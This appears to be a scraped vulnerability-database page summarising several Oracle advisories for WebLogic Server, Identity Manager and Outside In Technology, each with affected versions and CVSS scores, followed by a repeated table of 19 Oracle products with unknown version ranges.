Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Outside In Technology 8.5.8 allows an unauthenticated attacker with infrastructure access and user interaction to potentially compromise confidentiality, integrity, and availability, with a CVSS 3.1 score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers via T3 or IIOP protocols to potentially gain full control of the server, with a CVSS 3.1 score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to potentially take control of the server, with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with HTTP network access to cause unauthorized data modification, deletion, or server crashes, rated CVSS 3.1 base score 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated remote attackers to fully compromise the server via T3 or IIOP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows unauthenticated attackers with network access via T3 or IIOP to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebLogic Server versions 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 allows low-privileged attackers with network access via T3 or IIOP to fully compromise the server, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a highly privileged attacker with HTTP network access to unauthorizedly create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
